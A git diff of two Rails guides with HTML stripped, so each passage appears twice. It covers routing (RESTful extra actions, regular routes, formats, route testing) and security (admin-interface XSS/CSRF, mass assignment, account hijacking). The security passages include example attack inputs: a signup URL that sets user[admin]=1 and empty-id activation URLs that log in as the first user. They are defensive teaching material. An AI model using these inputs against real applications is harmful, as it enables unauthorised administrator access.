As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you’ll get admin_photos_url that expects to find an Admin::PhotosController and that matches admin/photos, and admin_photos_ratings_path that matches /admin/photos/photo_id/ratings, expecting to use Admin::RatingsController. Even though you’re not specifying path_prefix explicitly, the routing code will calculate the appropriate path_prefix from the route nesting.

3.11. Adding More RESTful Actions

-

You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole).

+

You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole).

3.11.1. Adding Member Routes

-

To add a member route, use the :member option:

+

To add a member route, use the :member option:

-
map.resources :photos, :member => { :preview => :get }
-
-

This will enable Rails to recognize URLs such as /photos/1/preview using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a preview_photo route helper.

-

Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use :get, :put, :post, :delete, or :any here. You can also specify an array of methods, if you need more than one but you don't want to allow just anything:

+
map.resources :photos, :member => { :preview => :get }
+

This will enable Rails to recognize URLs such as /photos/1/preview using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a preview_photo route helper.

+

Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use :get, :put, :post, :delete, or :any here. You can also specify an array of methods, if you need more than one but you don’t want to allow just anything:

-
map.resources :photos, :member => { :prepare => [:get, :post] }
-
+
map.resources :photos, :member => { :prepare => [:get, :post] }

3.11.2. Adding Collection Routes

-

To add a collection route, use the :collection option:

+

To add a collection route, use the :collection option:

-
map.resources :photos, :collection => { :search => :get }
-
-

This will enable Rails to recognize URLs such as /photos/search using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a search_photos route helper.

-

Just as with member routes, you can specify an array of methods for a collection route:

+
map.resources :photos, :collection => { :search => :get }
+

This will enable Rails to recognize URLs such as /photos/search using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a search_photos route helper.

+

Just as with member routes, you can specify an array of methods for a collection route:

-
map.resources :photos, :collection => { :search => [:get, :post] }
-
+
map.resources :photos, :collection => { :search => [:get, :post] }

3.11.3. Adding New Routes

-

To add a new route (one that creates a new resource), use the :new option:

+

To add a new route (one that creates a new resource), use the :new option:

-
map.resources :photos, :new => { :upload => :post }
-
-

This will enable Rails to recognize URLs such as /photos/upload using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a upload_photos route helper.

+
map.resources :photos, :new => { :upload => :post }
+

This will enable Rails to recognize URLs such as /photos/upload using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a upload_photos route helper.

@@ -1848,127 +1251,115 @@ http://www.gnu.org/software/src-highlite --> by Lorenzo Bettini http://www.lorenzobettini.it http://www.gnu.org/software/src-highlite --> -
map.resources :photos, :new => { :new => :any }
-
-

This will allow the new action to be invoked by any request to photos/new, no matter what HTTP verb you use.

+
map.resources :photos, :new => { :new => :any }
+

This will allow the new action to be invoked by any request to photos/new, no matter what HTTP verb you use.

3.11.4. A Note of Caution

-

If you find yourself adding many extra actions to a RESTful route, it's time to stop and ask yourself whether you're disguising the presence of another resource that would be better split off on its own. When the :member and :collection hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points.

+

If you find yourself adding many extra actions to a RESTful route, it’s time to stop and ask yourself whether you’re disguising the presence of another resource that would be better split off on its own. When the :member and :collection hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points.

4. Regular Routes

-

In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don't get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately.

-

While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing when possible, because it will make parts of your application easier to write. But there's no need to try to shoehorn every last piece of your application into a RESTful framework if that's not a good fit.

+

In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don’t get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately.

+

While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing when possible, because it will make parts of your application easier to write. But there’s no need to try to shoehorn every last piece of your application into a RESTful framework if that’s not a good fit.

4.1. Bound Parameters

-

When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: :controller maps to the name of a controller in your application, and :action maps to the name of an action within that controller. For example, consider one of the default Rails routes:

+

When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: :controller maps to the name of a controller in your application, and :action maps to the name of an action within that controller. For example, consider one of the default Rails routes:

-
map.connect ':controller/:action/:id'
-
-

If an incoming request of /photos/show/1 is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the show action of the Photos controller, and to make the final parameter (1) available as params[:id].

+
map.connect ':controller/:action/:id'
+

If an incoming request of /photos/show/1 is processed by this route (because it hasn’t matched any previous route in the file), then the result will be to invoke the show action of the Photos controller, and to make the final parameter (1) available as params[:id].

4.2. Wildcard Components

-

You can set up as many wildcard symbols within a regular route as you like. Anything other than :controller or :action will be available to the matching action as part of the params hash. So, if you set up this route:

+

You can set up as many wildcard symbols within a regular route as you like. Anything other than :controller or :action will be available to the matching action as part of the params hash. So, if you set up this route:

-
map.connect ':controller/:action/:id/:user_id'
-
-

An incoming URL of /photos/show/1/2 will be dispatched to the show action of the Photos controller. params[:id] will be set to 1, and params[:user_id] will be set to 2.

+
map.connect ':controller/:action/:id/:user_id'
+

An incoming URL of /photos/show/1/2 will be dispatched to the show action of the Photos controller. params[:id] will be set to 1, and params[:user_id] will be set to 2.

4.3. Static Text

-

You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests:

+

You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests:

-
map.connect ':controller/:action/:id/with_user/:user_id'
-
-

This route would respond to URLs such as /photos/show/1/with_user/2.

+
map.connect ':controller/:action/:id/with_user/:user_id'
+

This route would respond to URLs such as /photos/show/1/with_user/2.

4.4. Querystring Parameters

-

Rails routing automatically picks up querystring parameters and makes them available in the params hash. For example, with this route:

+

Rails routing automatically picks up querystring parameters and makes them available in the params hash. For example, with this route:

-
map.connect ':controller/:action/:id'
-
-

An incoming URL of /photos/show/1?user_id=2 will be dispatched to the show action of the Photos controller. params[:id] will be set to 1, and params[:user_id] will be equal to 2.

+
map.connect ':controller/:action/:id'
+

An incoming URL of /photos/show/1?user_id=2 will be dispatched to the show action of the Photos controller. params[:id] will be set to 1, and params[:user_id] will be equal to 2.

4.5. Defining Defaults

-

You do not need to explicitly use the :controller and :action symbols within a route. You can supply defaults for these two parameters in a hash:

+

You do not need to explicitly use the :controller and :action symbols within a route. You can supply defaults for these two parameters in a hash:

-
map.connect 'photo/:id', :controller => 'photos', :action => 'show'
-
-

With this route, an incoming URL of /photos/12 would be dispatched to the show action within the Photos controller.

-

You an also define other defaults in a route by supplying a hash for the :defaults option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:

+
map.connect 'photos/:id', :controller => 'photos', :action => 'show'
+

With this route, an incoming URL of /photos/12 would be dispatched to the show action within the Photos controller.

+

You an also define other defaults in a route by supplying a hash for the :defaults option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:

-
map.connect 'photo/:id', :controller => 'photos', :action => 'show', :defaults => { :format => 'jpg' }
-
-

With this route, an incoming URL of photos/12 would be dispatched to the show action within the Photos controller, and params[:format] will be set to jpg.

+
map.connect 'photos/:id', :controller => 'photos', :action => 'show', :defaults => { :format => 'jpg' }
+

With this route, an incoming URL of photos/12 would be dispatched to the show action within the Photos controller, and params[:format] will be set to jpg.

4.6. Named Routes

-

Regular routes need not use the connect method. You can use any other name here to create a named route. For example,

+

Regular routes need not use the connect method. You can use any other name here to create a named route. For example,

-
map.logout '/logout', :controller => 'sessions', :action => 'destroy'
-
-

This will do two things. First, requests to /logout will be sent to the destroy method of the Sessions controller. Second, Rails will maintain the logout_path and logout_url helpers for use within your code.

+
map.logout '/logout', :controller => 'sessions', :action => 'destroy'
+

This will do two things. First, requests to /logout will be sent to the destroy method of the Sessions controller. Second, Rails will maintain the logout_path and logout_url helpers for use within your code.

4.7. Route Requirements

-

You can use the :requirements option to enforce a format for any parameter in a route:

+

You can use the :requirements option to enforce a format for any parameter in a route:

map.connect 'photo/:id', :controller => 'photos', :action => 'show',
- :requirements => { :id => /[A-Z]\d{5}/ }
-
-

This route would respond to URLs such as /photo/A12345. You can more succinctly express the same route this way:

+ :requirements => { :id => /[A-Z]\d{5}/ } +

This route would respond to URLs such as /photo/A12345. You can more succinctly express the same route this way:

map.connect 'photo/:id', :controller => 'photos', :action => 'show',
-  :id => /[A-Z]\d{5}/
-
+ :id => /[A-Z]\d{5}/

4.8. Route Conditions

-

Route conditions (introduced with the :conditions option) are designed to implement restrictions on routes. Currently, the only supported restriction is :method:

+

Route conditions (introduced with the :conditions option) are designed to implement restrictions on routes. Currently, the only supported restriction is :method:

map.connect 'photo/:id', :controller => 'photos', :action => 'show',
- :conditions => { :method => :get }
-
-

As with conditions in RESTful routes, you can specify :get, :post, :put, :delete, or :any for the acceptable method.

+ :conditions => { :method => :get } +

As with conditions in RESTful routes, you can specify :get, :post, :put, :delete, or :any for the acceptable method.

4.9. Route Globbing

-

Route globbing is a way to specify that a particular parameter (which must be the last parameter in the route) should be matched to all the remaining parts of a route. For example

+

Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example

-
map.connect 'photo/*other', :controller => 'photos', :action => 'unknown',
-
-

This route would match photo/12 or /photo/long/path/to/12 equally well, creating an array of path segments as the value of params[:other].

+
map.connect 'photo/*other', :controller => 'photos', :action => 'unknown',
+

This route would match photo/12 or /photo/long/path/to/12 equally well, creating an array of path segments as the value of params[:other].

4.10. Route Options

-

You can use :with_options to simplify defining groups of similar routes:

+

You can use :with_options to simplify defining groups of similar routes:

photo.list '', :action => 'index' photo.delete ':id/delete', :action => 'delete' photo.edit ':id/edit', :action => 'edit' -end -
-

The importance of map.with_options has declined with the introduction of RESTful routes.

+end +

The importance of map.with_options has declined with the introduction of RESTful routes.

5. Formats and respond_to

-

There's one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special :format parameter in the route.

-

For instance, consider the second of the default routes in the boilerplate routes.rb file:

+

There’s one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special :format parameter in the route.

+

For instance, consider the second of the default routes in the boilerplate routes.rb file:

-
map.connect ':controller/:action/:id.:format'
-
-

This route matches requests such as /photo/edit/1.xml or /photo/show/2.rss. Within the appropriate action code, you can issue different responses depending on the requested format:

+
map.connect ':controller/:action/:id.:format'
+

This route matches requests such as /photo/edit/1.xml or /photo/show/2.rss. Within the appropriate action code, you can issue different responses depending on the requested format:

respond_to do |format|
   format.html # return the default template for HTML
   format.xml { render :xml => @photo.to_xml }
-end
-
+end

5.1. Specifying the Format with an HTTP Header

-

If there is no :format parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format.

+

If there is no :format parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format.

5.2. Recognized MIME types

-

By default, Rails recognizes html, text, json, csv, xml, rss, atom, and yaml as acceptable response types. If you need types beyond this, you can register them in your environment:

+

By default, Rails recognizes html, text, json, csv, xml, rss, atom, and yaml as acceptable response types. If you need types beyond this, you can register them in your environment:

-
Mime::Type.register "image/jpg", :jpg
-
+
Mime::Type.register "image/jpg", :jpg

6. The Default Routes

-

When you create a new Rails application, routes.rb is initialized with two default routes:

+

When you create a new Rails application, routes.rb is initialized with two default routes:

map.connect ':controller/:action/:id'
-map.connect ':controller/:action/:id.:format'
-
-

These routes provide reasonable defaults for many URLs, if you're not using RESTful routing.

+map.connect ':controller/:action/:id.:format'
+

These routes provide reasonable defaults for many URLs, if you’re not using RESTful routing.

- +
Note The default routes will make every action of every controller in your application accessible to GET requests. If you've designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you've had the default routes enabled during development, though, you need to be sure that you haven't unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them.The default routes will make every action of every controller in your application accessible to GET requests. If you’ve designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you’ve had the default routes enabled during development, though, you need to be sure that you haven’t unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them.

7. The Empty Route

-

Don't confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to http://example.com or http://example.com/ will be handled by the empty route.

+

Don’t confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to http://example.com or http://example.com/ will be handled by the empty route.

7.1. Using map.root

-

The preferred way to set up the empty route is with the map.root command:

+

The preferred way to set up the empty route is with the map.root command:

-
map.root :controller => "pages", :action => "main"
-
-

The use of the root method tells Rails that this route applies to requests for the root of the site.

-

For better readability, you can specify an already-created route in your call to map.root:

+
map.root :controller => "pages", :action => "main"
+

The use of the root method tells Rails that this route applies to requests for the root of the site.

+

For better readability, you can specify an already-created route in your call to map.root:

-
map.index :controller => "pages", :action => "main"
-map.root :index
-
-

Because of the top-down processing of the file, the named route must be specified before the call to map.root.

+
map.index 'index', :controller => "pages", :action => "main"
+map.root :index
+

Because of the top-down processing of the file, the named route must be specified before the call to map.root.

7.2. Connecting the Empty String

-

You can also specify an empty route by explicitly connecting the empty string:

+

You can also specify an empty route by explicitly connecting the empty string:

-
map.connect '', :controller => "pages", :action => "main"
-
+
map.connect '', :controller => "pages", :action => "main"
- +
@@ -2080,10 +1463,10 @@ http://www.gnu.org/software/src-highlite -->

8. Inspecting and Testing Routes

-

Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes.

+

Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes.

8.1. Seeing Existing Routes with rake

-

If you want a complete list of all of the available routes in your application, run the rake routes command. This will dump all of your routes to the console, in the same order that they appear in routes.rb. For each route, you'll see:

-
    +

    If you want a complete list of all of the available routes in your application, run the rake routes command. This will dump all of your routes to the console, in the same order that they appear in routes.rb. For each route, you’ll see:

    +
    • The route name (if any) @@ -2091,7 +1474,7 @@ The route name (if any)

    • -The HTTP verb used (if the route doesn't respond to all verbs) +The HTTP verb used (if the route doesn’t respond to all verbs)

    • @@ -2105,7 +1488,7 @@ The routing parameters that will be generated by this URL

    -

    For example, here's a small section of the rake routes output for a RESTful route:

    +

    For example, here’s a small section of the rake routes output for a RESTful route:

              users GET  /users          {:controller=>"users", :action=>"index"}
    @@ -2118,12 +1501,12 @@ formatted_users GET  /users.:format  {:controller=>"users", :action=>"inde
     
Tip You'll find that the output from rake routes is much more readable if you widen your terminal window until the output lines don't wrap.You’ll find that the output from rake routes is much more readable if you widen your terminal window until the output lines don’t wrap.

8.2. Testing Routes

-

Routes should be included in your testing strategy (just like the rest of your application). Rails offers three built-in assertions designed to make testing routes simpler:

-
    +

    Routes should be included in your testing strategy (just like the rest of your application). Rails offers three built-in assertions designed to make testing routes simpler:

    +
    • assert_generates @@ -2141,54 +1524,49 @@ formatted_users GET /users.:format {:controller=>"users", :action=>"inde

    8.2.1. The assert_generates Assertion

    -

    Use assert_generates to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes

    +

    Use assert_generates to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes

    assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" }
    -assert_generates "/about", :controller => "pages", :action => "about"
    -
    +assert_generates "/about", :controller => "pages", :action => "about"

8.2.2. The assert_recognizes Assertion

-

The assert_recognizes assertion is the inverse of assert_generates. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.

+

The assert_recognizes assertion is the inverse of assert_generates. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.

-
assert_recognizes { :controller => "photos", :action => "show", :id => "1" }, "/photos/1"
-
-

You can supply a :method argument to specify the HTTP verb:

+
assert_recognizes { :controller => "photos", :action => "show", :id => "1" }, "/photos/1"
+

You can supply a :method argument to specify the HTTP verb:

-
assert_recognizes { :controller => "photos", :action => "create" }, { :path => "photos", :method => :post }
-
-

You can also use the RESTful helpers to test recognition of a RESTful route:

+
assert_recognizes { :controller => "photos", :action => "create" }, { :path => "photos", :method => :post }
+

You can also use the RESTful helpers to test recognition of a RESTful route:

-
assert_recognizes new_photo_url, { :path => "photos", :method => :post }
-
+
assert_recognizes new_photo_url, { :path => "photos", :method => :post }

8.2.3. The assert_routing Assertion

-

The assert_routing assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of assert_generates and assert_recognizes.

+

The assert_routing assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of assert_generates and assert_recognizes.

-
assert_routing { :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }
-
+
assert_routing { :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }

9. Changelog

- -
    + +
    • October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes , by Mike Gunderloy @@ -2207,7 +1585,7 @@ September 10, 2008: initial version by Mike

-
- + + diff --git a/vendor/rails/railties/doc/guides/html/security.html b/vendor/rails/railties/doc/guides/html/security.html index 390efb54..371decda 100644 --- a/vendor/rails/railties/doc/guides/html/security.html +++ b/vendor/rails/railties/doc/guides/html/security.html @@ -1,328 +1,160 @@ - - Ruby On Rails Security Guide - - - - - + + Ruby On Rails Security Guide + + + + -

5. Intranet and Admin security

-

Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.

-

In 2007 there was the first tailor-made Trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.


-

XSS If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.

-

Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.

-

Refer to the Injection section for countermeasures against XSS. It is recommended to use the SafeErb plugin also in an Intranet or administration interface.

-

CSRF Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.

-

A real-world example is a router reconfiguration by CSRF. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.

-

Another example changed Google Adsense's e-mail address and password by CSRF. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.


-

Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.

-

For countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section.

+

-- Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.

+

In 2007 there was the first tailor-made Trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.


+

XSS If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.

+

Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator’s cookie, injecting an iframe to steal the administrator’s password or installing malicious software through browser security holes to take over the administrator’s computer.

+

Refer to the Injection section for countermeasures against XSS. It is recommended to use the SafeErb plugin also in an Intranet or administration interface.

+

CSRF Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.

+

A real-world example is a router reconfiguration by CSRF. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user’s router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker’s site. Everyone who accessed the banking site through that router saw the attacker’s fake web site and had his credentials stolen.

+

Another example changed Google Adsense’s e-mail address and password by CSRF. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.


+

Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application’s admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.

+

For countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section.

5.1. Additional precautions

-

The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:

-
    +

    The common admin interface works like this: it’s located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:

    +
    • It is very important to think about the worst case: What if someone really got hold of my cookie or user credentials. You could introduce roles for the admin interface to limit the possibilities of the attacker. Or how about special login credentials for the admin interface, other than the ones used for the public part of the application. Or a special password for very serious actions? @@ -764,7 +587,7 @@ It is very important to think about the

    • -Does the admin really have to access the interface from everywhere in the world? Think about limiting the login to a bunch of source IP addresses. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though. +Does the admin really have to access the interface from everywhere in the world? Think about limiting the login to a bunch of source IP addresses. Examine request.remote_ip to find out about the user’s IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.

    • @@ -776,8 +599,8 @@ Does the admin really have to access the interface from everywhere in the world?

    6. Mass assignment

    -

    Without any precautions Model.new(params[:model]) allows attackers to set any database column's value.

    -

    The mass-assignment feature may become a problem, as it allows an attacker to set any model's attribute by manipulating the hash passed to a model's new() method:

    +

    -- Without any precautions Model.new(params[:model]) allows attackers to set any database column’s value.

    +

    The mass-assignment feature may become a problem, as it allows an attacker to set any model’s attribute by manipulating the hash passed to a model’s new() method:

    def signup
       params[:user] #=> {:name => “ow3nedâ€, :admin => true}
       @user = User.new(params[:user])
    -end
    -
    -

    Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:

    +end
+

Mass-assignment saves you much work, because you don’t have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model’s attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:

http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
-

This will set the following parameters in the controller:

+

This will set the following parameters in the controller:

-
params[:user] #=> {:name => “ow3nedâ€, :admin => true}
-
-

So if you create a new user using mass-assignment, it may be too easy to become an administrator.

+
params[:user] #=> {:name => “ow3nedâ€, :admin => true}
+

So if you create a new user using mass-assignment, it may be too easy to become an administrator.

6.1. Countermeasures

-

To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:

+

To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:

-
attr_protected :admin
-
-

A much better way, because it follows the whitelist-principle, is the attr_accessible method. It is the exact opposite of attr_protected, because it takes a list of attributes that will be accessible. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:

+
attr_protected :admin
+

A much better way, because it follows the whitelist-principle, is the attr_accessible method. It is the exact opposite of attr_protected, because it takes a list of attributes that will be accessible. All other attributes will be protected. This way you won’t forget to protect attributes when adding new ones in the course of development. Here is an example:

-
attr_accessible :name
-
-

If you want to set a protected attribute, you will to have to assign it individually:

+
attr_accessible :name
+

If you want to set a protected attribute, you will to have to assign it individually:

@user = User.new(params[:user]) @user.admin #=> false # not mass-assigned @user.admin = true -@user.admin #=> true -
+@user.admin #=> true

7. User management

-

Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.

-

There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is restful_authentication which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.

-

Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):

+

-- Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.

+

There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is restful_authentication which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.

+

Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):

http://localhost:3006/user/activate
 http://localhost:3006/user/activate?id=
-

This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:

+

This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:

-
User.find_by_activation_code(params[:id])
-
-

If the parameter was nil, the resulting SQL query will be

+
User.find_by_activation_code(params[:id])
+

If the parameter was nil, the resulting SQL query will be

SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1
-

And thus it found the first user in the database, returned it and logged him in. You can find out more about it in my blog post. It is advisable to update your plug-ins from time to time. Moreover, you can review your application to find more flaws like this.

+

And thus it found the first user in the database, returned it and logged him in. You can find out more about it in my blog post. It is advisable to update your plug-ins from time to time. Moreover, you can review your application to find more flaws like this.

7.1. Brute-forcing accounts

-

Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.

-

A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes.

-

Because of this, most web applications will display a generic error message “user name or password not correctâ€, if one of these are not correct. If it said “the user name you entered has not been foundâ€, an attacker could automatically compile a list of user names.

-

However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.

-

In order to mitigate such attacks, display a generic error message on forgot-password pages, too. Moreover, you can require to enter a CAPTCHA after a number of failed logins from a certain IP address. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.

+

-- Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.

+

A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don’t use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name’s and a dictionary, an automatic program may find the correct password in a matter of minutes.

+

Because of this, most web applications will display a generic error message “user name or password not correctâ€, if one of these are not correct. If it said “the user name you entered has not been foundâ€, an attacker could automatically compile a list of user names.

+

However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.

+

In order to mitigate such attacks, display a generic error message on forgot-password pages, too. Moreover, you can require to enter a CAPTCHA after a number of failed logins from a certain IP address. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.

7.2. Account hijacking

-

Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?

+

-- Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?

7.2.1. Passwords

-

Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, make change-password forms safe against CSRF, of course. And require the user to enter the old password when changing it.

+

Think of a situation where an attacker has stolen a user’s session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim’s password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, make change-password forms safe against CSRF, of course. And require the user to enter the old password when changing it.

